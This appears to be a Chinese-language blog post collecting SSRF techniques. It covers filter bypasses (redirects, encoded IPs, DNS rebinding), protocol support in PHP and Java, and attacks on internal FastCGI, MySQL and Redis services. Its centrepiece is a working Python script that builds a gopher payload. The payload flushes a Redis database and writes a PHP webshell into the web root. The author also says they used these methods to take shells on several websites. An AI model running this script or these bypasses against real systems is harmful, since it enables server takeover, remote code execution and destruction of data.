SSRF大集合
  • 2020-06-29


0X01

继上次网鼎杯之后,学了一波SSRF,拿了几个网站的shell。在这里记录一下一些特征点和利用方式吧,主要来自王哥的博文。

0X02 绕过

白名单:

  1. 找白名单域名的任意url重定向或者找解析差异(类似parse_url和curl的解析差异)

  2. 拿个子域名的shell(大佬操作)

黑名单:

  1.302跳转 经典姿势
  2.8进制ip 16进制ip ipv6 int ip 进制混合ip
  3.短地址
  4.xip.io
  5.DNS绑定 买个域名解析到目标ip 

先把域名解析到ip,判断ip是否在白名单,再访问域名的时候:DNS重绑定

0X03 协议

在不同情况下ssrf 支持的协议是不同的:

ssrf常用的协议:gopher dict http https ftp file
javassrf:jdk8之后就不支持gopher了
php-file_get_contents:只支持php内置的协议 不支持gopher dict
php-libcurl:支持的协议最全,gopher dict都可以用
php-xxe:支持的协议跟file_get_contents一样

0X04 内网攻击

fpm未授权

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html,SSRF下可以用gopher打fpm
https://www.jianshu.com/p/fd27f0eedccf,这篇文章用nc接收exp流量再转换成gopher的payload

内网无密码mysql

mysql验证身份需要交互,gopher不支持交互,所以gopher只能攻击无密码mysql ,用gopherus生成payload即可。

内网redis 弱口令或者未授权

dict协议和gopher都可以打但是dict一次只能发一行命令,gopher可以用这个脚本生成payload

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

本质就是执行redis 命令 带密码就在前面加上AUTH,攻击方式也是redis常用的手法。
写公钥 写webshell 写crontab啥的,还有就是比较难的主从复制rce,网鼎杯王八组考到了,但是不会。